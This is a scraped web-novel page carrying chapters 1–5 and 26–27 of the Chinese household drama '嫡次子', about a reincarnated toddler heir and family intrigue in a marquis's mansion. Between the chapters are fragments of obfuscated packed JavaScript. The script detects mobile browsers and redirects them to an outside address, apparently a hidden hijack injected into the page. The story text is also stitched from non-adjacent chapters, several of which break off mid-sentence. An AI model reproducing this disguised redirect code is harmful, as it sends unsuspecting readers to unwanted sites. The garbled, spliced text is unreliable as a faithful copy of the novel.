《嫡次子》 1. 第一章 《嫡次子》全本免费阅读 小满过后,天气渐渐热起来。 今科进士都得了假期,能衣锦还乡,祭祖访亲。落第的举子或是跟着一同返乡,或是结伴居留京中,以待时机。 才热闹了一场的京城一时冷清了许多,连带着街面的店家都带上了几分懒意。但今日的庆宁坊,却难得起了热闹。 看热闹的百姓把庆宁坊前围了个里三层外三层,一时堵得车马都不能成行,须得等巡城卫来处理。 谢瑄和本是陪着母亲自外祖家回府,哪知道马车能在半道上动弹不得。 他悄悄掀开了一点帘子,却什么都没瞧见,一时有些着急,偷偷看了母亲苏琦一眼,叫了个小厮近前:“你去打听打听,里头是怎么回事,竟把路都给堵了。” 小厮得了令,抬眼见夫人没反对,这才一溜烟跑了。 谢瑄和坐回到母亲身边,瞧见她面上的无奈,有些不好意思的摇了摇她的袖角:“娘你就不想知道那边发生了什么事吗?” 苏夫人觑他一眼,对着那一双期盼的眼睛,到底忍不住点了点他的额头:“你呀你,也不知道和谁学的,年纪不大,倒好打听人家的闲事,若叫你爹知道了,怕是又得多些功课了。” “娘不说,我不说,他们也不敢说,爹肯定不知道,”谢瑄和亲昵的挽住母亲的手臂,带着几分撒娇似的抱怨,“谁家小孩三岁就要早起读书的啊,娘,是我啊!” “小小年纪,说起话是一套又一套,你这样聪明,你爹可不就怕你走了偏路,只能早些叫你进学了,”苏夫人说着似是想起什么,叹了口气,“我替你瞒下这回倒无妨,等回了家里,你得多背上一首诗才成。” “娘~~~”一个字被谢瑄和喊得九转十八回,却也没能换得他娘心软,只得委委屈屈应下,盼着过会儿听到的八卦能值这个价钱。 别看谢瑄和今年好似才三岁,实际上却是个少喝了一半孟婆汤的二茬苗。虽说是少喝了一半,但论起前尘往事,他记得的还真没多少。 只是他属于成年人的思维和小习惯并没丢了,也因此,他学起话来比起其他正常小孩略快些,理解更多些,也更耐不得自娱自乐的寂寞。 好在他有个满肚子八卦的奶嬷嬷,才叫他枯燥的奶娃娃生活有了些欢乐。但他也从此落下了爱凑热闹听八卦的喜好。 对于这点无伤大雅的好恶,只要瞒的好,外人不知道,他爹娘就没什么不满,只是常常拿捏着这点叫他做些上进的事。 想到这一点,谢瑄和都险些要忍不住心里的不开心了。明明他只是寿平侯府的嫡次子,头上还有个大哥呢,怎么看,都该是个躺平的命,哪知道顶上大哥不靠谱,惹得他这才三岁的小娃娃,是这也要学,那也要学。 两眼一闭,根本看不见前路的光。 一旁的苏夫人瞧见儿子脸上小表情变来变去,乐得直笑,却也不打扰他,由得他小脑瓜儿里去天马行空的想。 不一会儿,那去打听消息的小厮就赶了回来,只是同两人回话时,脸上却带了几分迟疑。 谢瑄和有些好奇,清了清嗓子,学着他爹板起脸:“到底怎么了,你速一一说来,不得欺瞒!” 小厮这才道:“好叫夫人、小公子知道,里头是个卖身葬父的姑娘,说要五十两银子才肯跟人走。先前有个商家子有心出这银子,那姑娘却不乐意,等得几位公侯家的公子来,又哭哭啼啼起来。几位公子以为是那商家子欺负人,里头这会儿正为这事儿闹呢。” 哇哦!谢瑄和眼睛都亮了,这样卖身葬父钓傻子的情节都能被他遇上,可惜了他年龄小,没办法看现场。 简直像错过了一百两金子一样让人痛心! 不过……谢瑄和敏锐的察觉到小厮话里含糊过去的地方,问道:“是哪几家的公侯公子,眼神儿这么差,寻个围观的百姓打听打听就知道的事,还能起了误会。”< 2. 第二章 《嫡次子》全本免费阅读 “是啊,今儿回的比平日略早了些,”苏夫人不咸不淡的应了一句,“若不是这样,也不能正正好遇上该在府里养病的人了,你说是不是?” 听得这话,大哥面上心虚之色更重,正要再开口,却被苏夫人抬手打断:“在街面上说话像什么样子,先回府。” 庆宁坊离着寿平侯府不远,不管大哥如何坐立难安,马车还是很快停了下来。 趁着苏夫人起身先出马车的空档,大哥悄悄扯了扯瑄和的衣领。 “昭哥儿,这回你可得帮我。” 谢昭是瑄和的大名,府里人称呼他时,多是称以昭哥儿,又因他年纪在家中儿郎中最小,所以也有称他小公子的。 至于瑄和这个名字,却是他父亲在发现他的聪慧后,于前些日子他年满三岁,正式开始读书认字时,替他新取的字。 只是这个字,唯有爹娘喊得多些,大哥是从来不这么喊他的。 谢瑄和想了想轻声道:“大哥你好好寻娘认个错道个歉,娘很好哄的。” 好哄?大哥满脸的不信,但苏夫人已下了马车,转身等着了,也由不得他再拖延。 “哎哟,这不是大嫂吗,我还打量着你们要用过午膳才回,没想到这会儿就回来了。” 谢瑄和才下马车,走到母亲身边,就瞧见府里匆匆出来一位衣饰华丽的妇人,只是她算不上会搭配,头上钗环虽都是精品,却没有主次之分,瞧着富贵是富贵,却难免显得杂乱如穷人新贵。 那妇人样貌生得不错,只是生了一双狐狸眼。即便面上笑意从没落下,可她笑时习惯性眼睛微眯,做出眉眼弯弯的样子,却反而显出了眼里的精明算计,不够亲切。 谢瑄和眼尖的瞥见不远处探头探脑,本属于大哥的小厮,低头行了个叫人挑不出错的礼:“二叔母安。” “昭哥儿也安,瞧咱们昭哥儿小小年纪的,竟也如此知礼,”谢二夫人纪氏笑着夸了一句,就把注意力放到了随后出来的大哥身上。 “早先还说呢,昱哥儿你大病初愈,怎么就出去了,原来是接嫂嫂去了,可真是个孝顺孩子,”纪夫人说完,就上手去牵大哥谢昱,“来,叫叔母瞧瞧,可好全了没有。” 瞧这亲热的模样,倒像他二人才是母子一般。 谢瑄和看了一眼娘,却发现她并没过多关注大哥和二叔母,而是第一时间就发现了自己的视线。 苏夫人有些担心的摸了摸谢瑄和的头,问:“可是有些乏了?” 谢瑄和摇了摇头答道:“没呢,娘,咱们不先去向祖母请安吗?” “自然要去,”苏夫人伸手替他理了理有些歪了的衣领,才看向纪夫人道,“二弟妹可要同去拜见母亲?” 纪夫人眼带笑意看了谢昱一眼,方道:“要去的要去的。” 一行人正往老夫人所居的寿荣堂去,半道上突然来了个打扮清丽的大丫鬟:“奴婢翡翠给夫人、二夫人请安,给昱哥儿、昭哥儿请安。” 见到翡翠,苏夫人一行停下脚步问:“翡翠你来,可是母亲有什么吩咐?” 翡翠和纪夫人及她身侧的谢昱对视一眼,回道:“禀夫人,昨儿夜里变了天,老夫人今日晨起便犯了咳疾。知道您与昭哥儿回来,特意吩咐说您与昭哥儿可不必前去请安,以免昭哥儿年幼,过了病气。” 翡翠顿了顿,又继续道:“老夫人还说,若您实在有这个孝心,不如叫昱哥儿代为走一趟就是。” 苏夫人不管心里如何想,面上仍露出几分恰到好处的担忧道:“母亲身上不爽利,只叫昱儿走这么一趟怎么成。” 苏夫人说着,就吩咐金芝带着谢瑄和回去安顿,显见是要自己亲往寿荣堂的。 “这不是有二夫人在吗,”翡翠赶紧劝道,“老夫人说了,您才回府,府中上下多少事等着您拿主意呢,有昱哥儿在,就是您的孝心了,旁的有二夫人伺候着,也是一样的。” “正是这个理呢,”纪夫人脸上带笑,细看时却又好似有些许勉强之意,“有大嫂你在,我身上无事,落得清闲,如今母亲身上不好,正该是我忙起来的时 3. 第三章 《嫡次子》全本免费阅读 暮色四合时,寿平侯才自衙门归家,带着满脸倦意。 “这是怎么了,可是又有什么大事不成,”苏夫人赶紧拧了帕子替他擦脸,又匆匆指挥着他将官服换下,才叫他安生坐了。 谢瑄和人小,也插不上手,就把今日学完诗后,母亲奖励他的青梅糕拿了出来:“爹,先吃块点心,别饿着了。” 点心送到唇边,又是儿子的孝心,寿平侯自然不会拒绝。 等用过两块,他自觉体力精力都好了许多,揉了揉谢瑄和的头发,感叹道:“到底是咱们瑄和贴心。” “还是娘更贴心,”谢瑄和赶紧护住脑袋,“点心都是娘让人准备的呢!” “你娘自然是你比不过的,”寿平侯笑着弹了他个脑瓜崩,含笑看向苏夫人,“有劳我贴心的夫人了。” “孩子面前,说什么话呢,”苏夫人面上微红,嗔怪的看了他一眼,又走到近前,替谢瑄和揉了揉额头,“这点心是我叫人做的,却也是你儿子凭本事挣下的,到底还是他有这个心。” “都好都好,”寿平侯拉住苏夫人的手,“瑄和好,夫人也好。” 苏夫人看了假装玩着装点心的荷包的儿子一眼,到底没舍得松开丈夫的手,只吩咐了一句快把晚膳端上来,就牵着他,推着谢瑄和的后脑勺,坐到了摆膳的桌边。 谢瑄和随着母亲的力道坐到边上,瞧见爹娘亲亲热热的坐到一起,一时有些无奈。 这是不是就叫父母是真爱,孩子是意外? 等到晚膳摆上桌,看着菜量,寿平侯就有些心疼:“不是早说过了,若我回来迟了,你们就自己先用,不必等我。” “哪里就差这一会儿了,”苏夫人亲自摆好了碗筷,才重新坐下,“这饭食,还是得一家子坐在一处,用起来才香,只我和瑄和两个在,冷冷清清的,哪儿有什么滋味。” “是啊是啊,”谢瑄和也从鲜美的汤碗里抬起头,附和母亲的话,“爹你回来迟了,娘吃什么都没味儿,也就我还能哄她用两块点心吧!” 看到谢瑄和说着说着,就得意起来的模样,寿平侯不由有些失笑,却也忍不住轻抚妻子的脊背道:“咱们在京中呢,莫怕。” 苏夫人一怔,倒有些不自在起来,只说:“我知道,这不是这么多年过去,成了习惯,一时改不过来吗。” 前些年渝朝周边很不安定,与凌国多有摩擦,时不时就要打上一仗。寿平侯作为驻守在渝朝、凌国交界处的守将,自然常要领兵出征。 苏夫人虽是将门出身,却也不是不担心丈夫安危。只是她身为守将夫人,自然不能因为担心而乱了阵脚,叫民心、军心不稳。这样一来,她难得任性的,也就只有等寿平侯凯旋而归,一起用饭这一桩小事了。 这个习惯一直到现在,一家子从边境回到京城已有数月之久,也没能改掉。 “快别说我了,”苏夫人一个眼神示意,原本守在屋里的金芝也乖觉的出了门,“你今儿怎么回得这么迟。” “也不是什么大事,”寿平侯想了想,低声道,“凌国边境起了些事端,皇上想着我对凌国了解多些,就多留了我一阵。” 苏夫人一听这话就紧张起来:“不是才把他们打怕了,怎么这就起了事端。打狗打怕了还知道疼呢,这凌国……” 狗都不如! 苏夫人没把话说完,桌上的另两人却都已经领会了她的意思。 寿平侯强压了许久,才勉强忍住唇边笑意,道:“阿琦莫急,这事端和咱们没什么干系,是凌国里头的乐子。只是有大人觉着这是个好时机,皇上便想多了解一番,谋划谋划罢了。” “那就好,那就好,”苏夫人这才松了口气,恢复成府里人常见那端庄稳重,心有丘壑的寿平侯夫人。 谢瑄和咬着筷子,看了看爹,又看了看娘,最后悄悄对着爹做了个阿琦的口型,才笑起来。 寿平侯老脸一红,伸手夹了一筷子菜,直接送到谢瑄和嘴边,以实际行动践行堵嘴的心思。 谢瑄和鼓了鼓脸,看着面前的筷子,啊呜一口,恶狠狠的将东西全吃进了肚子里。 我说什么了?又没舞到娘面前,爹这个小心眼! 苏夫人静下心,把这父子俩的眉眼官司尽收眼底,却只做不知。 她没去细问朝中是有了什么谋划,而是直接换 4. 第四章 《嫡次子》全本免费阅读 夫妻多年,要是还看不懂夫人的意思,那寿平侯就得觉得,自己是白长这许多年岁了。 寿平侯自觉还算了解自己母亲,若真是病了,一准儿得先让府医赶紧来看。若人没事,只当借口,那是连请府医的举动都不屑去做一做的。 如今身上不舒坦,却连府医都没请,只要求谢昱去陪她,真病假病,不是一目了然?” 想到方才夫人说老大能跑能跳能玩的话,寿平侯试探性的问:“莫不是老大又出了什么幺蛾子?” 苏夫人沉默片刻,到底还是心疼丈夫今日疲惫,道:“没什么大事,咱们去寿荣堂请安回来就早些歇着吧,明儿一早,你还得上朝去呢。” 寿平侯想了想道:“过几日我休沐时,再好生教导教导他。” 苏夫人无可无不可的点了点头,嘱咐谢瑄和:“我与你爹往寿荣堂去一趟,你先自个儿玩着,若是困了,让金芝哄你歇息就是。” 谢瑄和立刻反驳:“娘,我都三岁啦,不用人哄了!” 再说了,我从前让人哄,那不是转移你的注意力,省得你总惦记着爹出征,心神不宁吗。 谢瑄和睁着一双剔透的眼,却不敢真把心里话说出来。毕竟聪明和妖孽,还是有差距的。 “好好好,咱们瑄和大了,能自己睡了,不用人哄,”苏夫人忙着整理衣裳,随口应了几句,又嘱咐上了金芝。 等一切安排妥当,就有小丫鬟进来回禀:“侯爷、夫人,寿荣堂的碧玉求见,说是老夫人叫她过来传话。” “叫她进来吧,”苏夫人停下手上动作,心里已有了猜测。 碧玉进门后,大略扫视了一眼屋里,便低头行礼。 “好叫侯爷、夫人知道,老夫人已经觉着好些了,只是夜色已深,不放心昱哥儿独自回来,就留昱哥儿在寿荣堂住上一夜。” 谢瑄和拿着九连环的手一抖,险些把东西摔了。 这是自己家,又不是没有照顾的人。没有理由大可以不找,也好过这样惹人生笑……难道丫鬟不是自个儿来的? 果然,碧玉这话才落地,寿平侯就已经黑了脸。 原本已经依着夫人,打算等得空后再教导老大,这会儿他是一刻也不肯等了。 “昱儿到底大了,住在祖母院中像什么。他既不敢自己回来,本侯亲自去接,总该不会再怕了。” 碧玉动作一僵,道:“不瞒侯爷,昱哥儿是想回来的,只是老夫人还病着,对昱哥儿十分依赖,不愿叫他回来,才遣了奴婢这样传话。异日等老夫人病好了,想来就不会想着要昱哥儿守在身边了。” “如此,本侯就更该走上这么一趟了,”寿平侯看向苏夫人,“母亲病了,我这个做儿子的怎么能不在一旁侍奉?有劳夫人同我一道走这么一趟了。” 两人原本就要出门,此刻寿平侯又这么说,苏夫人岂有不应的道理。 两人默契的忽视了碧玉带了几分忧虑的脸色,率先起身,往寿荣堂而去。 碧玉见了,也顾不得和瑄和行礼,赶紧跟了出去。 谢瑄和眼珠子转了转,喊来金芝:“方才是哪几个跟着爹娘出去的?金芝姐姐明儿叫他们来陪我说话。” 听得此言,金芝倒没有一口答应下来:“还得夫人先同意才成。” “这是自然,”谢瑄和应了一声,又打了个呵欠。 他年纪小,原本歇得就早,今日自外祖家回来,还学了一首诗,自然比平日倦得更早些。 只是他想着再等等爹娘,便拒绝了金芝劝他先睡的话,只许了先洗漱。 那厢寿平侯夫妻带着几个亲信离了正院,还不等走远,苏夫人就瞥见跟出来的碧玉。 与早先出来时相反,这会儿碧玉倒是磨磨蹭蹭落在了后头,眼睛还不住往边上的小径打量。 苏夫人轻轻扯了扯寿平侯的衣袖,朝那边侧了侧头。 寿平侯自然也注意到不大正常的碧玉,吩咐身边伺候的小厮道:“盯着她些,若她要走小路去报信,直接捆了赶出去,不知道谁是主子的奴才,咱们府里可用不起。” “到底是母亲身边的人,你若捆了赶出去,还得寻个合适的由头才行,”苏夫人道,“派人拦一拦她也就是了,没得叫你和母亲红脸。” “总归这几个丫头年纪都不小了,寻个时机一家子除了奴籍发嫁出去,也算全了母亲同她们这场主仆情分。” 寿平侯想了想,很快明白了夫人的意思。 这些奴婢一家子都放良发嫁到外头,是主家仁德,放到外头,谁不竖起大拇指夸上几句? 可对老夫人而言,却不是什么好事。 毕竟她身边的大丫鬟,都是多年慢慢提拔培养起来的家生子,各个在府里背景深厚,也是她能在府里说一不二,不把苏夫人放在眼里的倚仗之一。 一朝都放出府去,那是挖她的根呢! 老夫 5. 第五章(抓虫) 《嫡次子》全本免费阅读 又过得片刻,一个人影走到门边。 “你们先玩着,我去接一接碧玉姐姐,别是在路上出了什么事,到这时候还没回来。” “你去吧,我们再玩一轮,昱哥儿,这回我一定要赢了你!” “那得看你有没有这个本事了!” “你们呀,可别闹得太迟,误了歇息的时辰,南珠你也快去快回,别在路上耽搁。” “我记下啦,翡翠姐姐。” 这话说完,寿荣堂的门从里头打开,转出来一个身量窈窕的少女,正是老夫人身边的二等丫鬟南珠。 南珠一只脚刚踏出门,就看见了院中站着的人,登时脚下一软,赶紧扶着一旁的门框。 “南珠,你怎么了,走个路都不小心着点!”这是翡翠的声音。 “不、不是、我……” 南珠语无伦次的模样让翡翠有些奇怪,索性走到她身边。 也就一眼,翡翠面上神色从漫不经心化作了惨白,她赶紧高声喊道:“侯爷、夫人!给侯爷、夫人请安。” 翡翠这一嗓子出来,屋里立刻静了。不说像方才一样调笑了,连动都没人敢动一下。 到了这会儿,寿平侯面上反倒瞧不出什么喜怒了。 他率先进门,把屋里那一片狼藉尽收眼底。 苏夫人随后跟了进来,除开看了一眼谢昱外,对这一屋子的玩器,并噤若寒蝉的丫鬟们都视若无物。 她见寿平侯不开口,只得先问道:“老夫人已歇下了?” 翡翠迟疑着回话:“老夫人……老夫人……” 正迟疑间,老夫人穿着寝衣被一个小丫鬟从内间扶了出来:“你们这样大的阵势,我就是歇下,也要被吵醒了!” “祖母,”谢昱喊了一声,也惊醒了一屋子的丫鬟。 一干丫鬟瞥了一眼黑着脸的寿平侯,趁着老夫人在场,大着胆子上前收拾了屋里的各样杂物,依次退了出去,只留翡翠几个大丫鬟在里头伺候。 寿平侯忍了又忍,才没出声训斥,和苏夫人一同行礼:“母亲。” “我不是叫人过去传话,让你们不必过来了,”老夫人有些不满的看了苏夫人一眼,“这是打量着我人老了,说话不中用了是不是?” “母亲这话是从何说起,”寿平侯道,“儿子听说您病了,岂有不担心的?总要亲眼见过您,才算能放心啊。” 这话说得好听,又全是关切之意,老夫人自然不会有什么不满,左右屋里也收拾好了,表面看着还算能粉饰太平。 她撇下苏夫人,只对寿平侯道:“你的孝顺,母亲是知道的,只是你每日上值,也不是什么轻快活计,我身边有昱儿在,你呀,就把心好好放回肚子里吧。” “多谢母亲体恤,”寿平侯连个正脸都没给谢昱,“只是谢昱到底做事毛躁,没有分寸,他如何能照顾得好您呢?” “谁说昱儿做事没分寸了?”老夫人当即便反驳道,“昱儿一向耐心又细致,我身边这些个伺候的丫头加起来,也不如他一个贴心。” “今儿不过是我心疼他侍奉了我一天,也没个玩处,才吩咐下人陪他松快松快,赶巧你就遇上了。你若有什么不满之处,只管同我说就是。” “母亲,”寿平侯忍不住喊了一声,继续道,“谢昱已经十四了,您可知溺子如杀子?” “你还知道昱儿已经十四了啊,”老夫人拉着谢昱的手,脸上就要落下泪来,“可怜我的昱儿,打小就不在爹娘身边长大,唯有我这个祖母多疼上几分。” “同咱们往来的人家,谁不说我把昱儿教得好。唯有你们做爹娘的,看昱儿鼻子不是鼻子,眼睛不是眼睛。” “早知道你们看昱儿不惯,我一早就该收拾了东西,带昱儿回老家去,绝不在这府里惹人嫌!” 打量着没人注意自己,苏夫人闭上眼,深吸一口气,缓缓的吐了出来,随后就只将注意力放到了地毯的花纹上。 “母亲!” 寿平侯拢在衣袖下的拳头都握紧了,口中却还是退了一步,“是儿子说错了话,还望母亲不要计较。” 老夫人点点头,面上显出几分满意:“罢了罢了,趁着夜色不深,你们回吧,我也有些乏了。” “谢昱,”寿平侯沉着脸喊了一声,直叫谢昱浑身一哆嗦。 “昱儿胆子小,忽然喊他做什么,这夜深人静的,也不怕把他吓丢了魂儿,”老夫人说着,又拍了拍谢昱的手,“好孩子,别怕,祖母在呢。” “好好照顾你祖母,”顶着老夫人的视线,寿平侯连多说一句都不想,直接同苏夫人一道,离了寿荣堂。 瞧见他们离开,寿荣堂内的气氛不由为之一松,好几个丫鬟脸上都露了笑。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12330984|130693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,要不几遍就能记住,你又不是不知道。” “那不是从前没遇着事,没想到瑄和除了记住,还能活学活用,”寿平侯说着,把儿子拉着上下看了又看,似乎很是新奇。 谢瑄和被他看得心里发毛,躲在母亲怀里:“娘,你看爹!” 苏夫人赶紧安抚性的拍了拍他,又瞪了寿平侯一眼才道:“好孩子,你爹欢喜坏了,别理他。” 寿平侯也赶忙来赔不是:“都是爹的错,爹看瑄和聪明,心里高兴,一时失了分寸。瑄和就别怪爹了,好不好?” 谢瑄和微微偏了偏头,看了他好一会儿,才勉为其难道:“行吧,爹你以后再高兴,也不许这样了哦!” 寿平侯自然满口答应,才把他哄回自己怀里。 苏夫人见这父子俩转头又亲亲密密,懒得理会,便把吴应成的事又提出来。 “这吴家在府中伺候多年,手里想必还有不少人脉,如今若不能一网打尽,这吴应成如何处置,怕还得好好斟酌斟酌。” 谢瑄和眼珠子转了转,想说什么,又没开口。 苏夫人见了,道:“瑄和你有什么想说的?” 谢瑄和赶紧摇头:“还是迟些再说吧,爹娘你们先决定,我不能影响你们。” “无妨,”寿平侯低下头道,“吴应成如今在你身边伺候,你自然有权处置他。” “那我就说了?”谢瑄和又试探性的问了一句,才继续道,“其实也没别的,就是吴应成在我面前发誓,日后绝不会擅自做主,只听我安排。所以……” 谢瑄和的声音越来越小,最后直接不说了,只拿眼睛瞅着爹娘。 苏夫人瞥了一眼没说话的寿平侯,道:“你想用吴应成手底下的人给你讲故事?” “娘,你怎么知道!” “就你这点小心思,能瞒得过我?”苏夫人一指头戳在他脑门儿上,“满脑子心思,不用在正途上。” “若叫吴应成知道了你的心思,恐怕他得呕死,竟被你给吓住。” 谢瑄和摸了摸额头,可怜巴巴的看向父亲。 寿平侯想了想道:“吴应成既然在你身边伺候着,那就照旧在你身边,凭他的本事,若真心侍奉你,必能把一应事务打理得极为妥帖。” “只一点,”寿平侯看着谢瑄和,满脸认真,“吴应成是个过分聪明的,能享富贵,也能隐忍。” “你既然要用他,就得信他又防备他,若不能把他彻底压服了,不如及早放他出府去。” “瑄和,你可敢?” “我可是您儿子,能有什么不敢的,”谢瑄和眼中满是坚定道,“爹娘你们就等好吧!” 寿平侯正准备夸他,就听见他小声来了一句。 “要是自个儿做不到,我还不能向你们和徐伯父请教吗。” “你呀,”寿平侯无奈的摇头,“刚要夸你呢。” “瑄和又没说错,”苏夫人用团扇在谢瑄和小手边点了点,“瞧瞧,这还是孩子呢。” “有了疑惑,不向父母师长请教,难道自己钻牛角尖去?” 27. 第二十七章 寿平侯与苏夫人又说了几句,还是叫人去传吴应成来,敲打了一番。 见吴应成跪在地上,赌天发誓的模样。 苏夫人凉凉道:“一个人发再多誓言,若不是打心底里这么想,总会有违背的那一日,你如今也省了这功夫吧。” “总归瑄和如今就住在主院边上,有什么事情,侯爷与我都看着呢。” “你是真心或假意,总归机会就那么一次,你把不好,换个人顶上也没什么要紧。” 寿平侯也说:“这是瑄和第二回为你求情,你若是再敢起什么乱七八糟的心思,也不必在府里呆着了。” 吴应成赶忙又磕了几个响头,却也不敢再赌咒发誓,只能一叠声道:“奴明白,多谢公子,多谢公子。” “先这样吧,”苏夫人把团扇搁在一边,“你也起来吧,若叫人瞧见,还当是出了什么大事呢。” 吴应成赶忙起身,伺候在旁。 “吴应成,”寿平侯喊了一声,“你如今在瑄和名下,你手里有多少人手,自报给瑄和就是,不必再来回我。” “但有一点,”寿平侯顿了顿,加重了口气,“不管你用什么法子,务必把瑄和给我护住了,不能伤着半点,可明白?” 谢瑄和是主子,也是他能抓住的最后一根救命稻草,吴应成自然不会不乐意,甚至答应的比先前更迅速和郑重。 寿平侯这才放了他离开:“叫人取了伤药来,擦擦额头,明儿先换个人陪瑄和去知行院。” 等他出去了,苏夫人又重新看向谢瑄和道:“你爹心疼你,连吴应成在府里的人手都不过问。” “但你也得知道,有些事适可而止,不该知道的消息,少叫人打听了和你说。” “若因为这些个乱七八糟的消息影响了学业,就算你爹不管,我也要把人都一一揪出来撵走的。” “娘放心吧,我绝不会的,”谢瑄和拍着胸脯保证,小脚却高兴的晃了晃。 苏夫人看着无奈:“你不是给你爹湃了葡萄?还不叫人取来?” 等谢瑄和走了,她才问寿平侯:“一个吴应成也就罢了,怎么连带着吴应成手底下的人你也不问了?” 寿平侯往后一躺:“瑄和动了心思,让他玩一玩也无妨,在府里有你我给他兜底,出不了大岔子。” “但瑄和要是慢慢学着,盘活了这些人,日后他在外头,你我也不必过于担心什么。” 被狠狠敲打过一顿,吴应成反像是松了口气,除了待谢瑄和更加恭敬,还在禀报过苏夫人后,从各处调来不少人手,用以充实谢瑄和的小院。 不过短短十余日,谢瑄和院子里,除了刘嬷嬷和青榆外,俱都成了新面孔。 对院子里的变动,谢瑄和看在眼里。虽没多说,却仍叫刘嬷嬷做着总揽。 吴应成知道自己比不过刘嬷嬷受信任,也从不相争。 眼看快到休沐日,谢瑄和心里高兴,欢欢喜喜上完课,就准备走。 “瑄和等等,”军师开口叫住他,“待耀哥儿上完,你领他回去玩,明日或是后日回来都不打紧。” 谢瑄和没直接应下,而是见着徐耀微微颔首,才道:“徐伯父这是明儿又要睡到晌午?” “什么叫又,”军师不满意他的用词,用书册敲了敲他的脑袋,“为了给你们上课,我都多少日子没好好睡上一觉了,还不兴我休沐日时放纵一回?” “唉哟,”谢瑄和捂住头,“徐伯父,你说话就说话,别动手动脚。” “你这用的什么词,”军师搁下书本,就要和他说道几句。 谢瑄和见状,赶忙给徐耀使眼色。 徐耀适时把自己手里的书摆到父亲面前:“爹不急着先给我讲课了?” “成吧,”军师觉得自己难得的自在日子更重要,暂且先放谢瑄和一马。 谢瑄和吐了吐舌头,没在屋里坐,收拢好自己的东西,一溜烟跑到了院子里。 吴应成见他出来,赶紧站起来:“公子下学了?” “课讲完了,先不忙回去,”谢瑄和道,“过会儿耀哥和我一道走,你派个人先去给娘说上一声。” 吴应成答应一声,就去吩咐。 谢瑄和则慢慢走到了院子里,推着原本搁在角落的躺椅到藤萝架下,爬上去。 他躺在上头,看顶上被微风吹动的紫藤萝,惬意道:“还是徐伯父会享受,赶明儿我也在院里弄这么一个架子去。” 吴应成回来时正好听见这话,问:“公子想要做个什么样的架子?” “这都五月了,什么样的架子都不能成,”谢瑄和从前在边境时,四时之花几乎都祸害过,在心里默了一遍后,明智的选择放弃,“还是明年再种吧,今年我就蹭娘院里的葡萄架。” “公子想要,吩咐下去就是,”吴应成颇不以为意,“公子要赏花、赏果,都是能行的。” 谢瑄和摇头:“哪儿有这样不顾四时节令种东西的。” 许是听出他话里暗藏的不喜,吴应成面上带了几分小心:“并非不应节令,从别处多移上几株来,凑到一处,热热闹闹的,也能搭满架子,只是得长上几日,才算自然。” “若用这样的法子,到明年时,岂不是又过多了?” 见他只是疑问,吴应成松了口气,道:“赏过今年,院子里的花木重做调整,不合宜的自然要移出去。” “府里的花匠对此很有一套,公子不必担心。” 谢瑄和想了想问:“吴应成,是不是我想要什么东西,你都会想法子替我去做?” “这是自然,”吴应成立刻道,“只要公子有令,刀山火海奴都敢去闯。” 谢瑄和摸了摸下巴:“那我此时想玩雪,你可有法子?” “这不难,”吴应成笑起来,“从前京中也有位公子想夏日玩雪,有人为了讨赏,特意做了个小玩意,能把冰刨成如雪一样细致绵密的模样。” “如今府里做冰碗时,就用了这东西,公子有需要,我去寻来就是,不过多废几块冰罢了。” “那还是不必了,”谢瑄和制止了他离去的脚步,“娘若知道了,定然要骂我的,我可不想喝药。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12339486|130693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “瞧着先生还要再给耀哥讲一会儿,我在此歇歇,等时候差不多了,你再喊我。” 吴应成应了一声,却也没真就此退下,而是取了一碟点心,一壶热水摆在小几上,放在谢瑄和身边,随手可以取用的地方,才退到了廊下。 谢瑄和看了一眼身边的东西,右手食指却不自觉在左手腕上轻轻点了点。 吴应成做事,足够细致,没有一处不体贴。 但于他而言,还真是个考验啊! “瑄和,你想什么呢,快回神!” 瑄和被突然在耳边响起的声音吓了一跳,往上一撑,正和离他极近的徐耀撞上。 “嘶!” 两人一个捂着额头,一个捂着下巴,对视一眼,突然同时笑出声。 瑄和看了一眼站在他身后的吴应成问:“耀哥你什么时候出来的,课讲完了?吴应成怎么也不叫我。” “讲完了,”徐耀把他拉起来,“是我叫他不必叫你的。难得见你出神,可不得吓吓你?” 谢瑄和眼里带上几分哀怨:“耀哥,你跟着徐伯父学坏了!” “这怎么能赖我呢,”军师倚在门边上,看着他俩,“你耀哥使坏,怎么还连坐到我身上?” 谢瑄和没说话,只揉了揉自己出门前被书册敲的地方,又看向他,满脸写着您自个儿说呢? 军师轻嗤一声,懒得跟他计较,招呼两人回屋:“赶紧把东西收拾好,我要赶人了。” “别急,先生,”谢瑄和难得郑重的喊了一声,“我还有事想向你请教呢。” “哦?”军师有些惊讶,却也摆正态度,准备仔细听一听。 谢瑄和拉着徐耀,几步跑到他身边,把他往里推。 “我觉得我身边的吴应成,也太得用了一些,”谢瑄和面上显出几分苦恼之色,“让他往东,他绝不往西。” “我想要个能乘凉的架子,逆着天时他都能给想法子。” “我躺下乘凉,都不用抬眼,他就知道该给我准备什么东西。” 随着他的讲述,对面父子俩脸上神色都变得有些奇怪起来。 徐耀不理解:“这……不是挺好的?” “是挺好,可是……”谢瑄和叹了口气,“先生从前讲故事,不是说‘温柔乡,英雄冢’吗,我觉得,继续这样下去,都用不着什么温柔乡,我就要成一个废人了。” 军师翻了个白眼,觉得方才打算认真听他说话的自己,简直就是个傻子,就该直接把这两个小子给轰出去。 小孩儿的脑袋里到底在想些什么乱七八糟的东西?一定是功课还不够多! “这事儿我知道了,”军师敷衍着把两人赶出门,“等后日你来上学时,我好好教你,保管你的担心不会成为现实!” 最后一个字的尾音,伴随着关门声,谢瑄和与徐耀已经身处门外了。 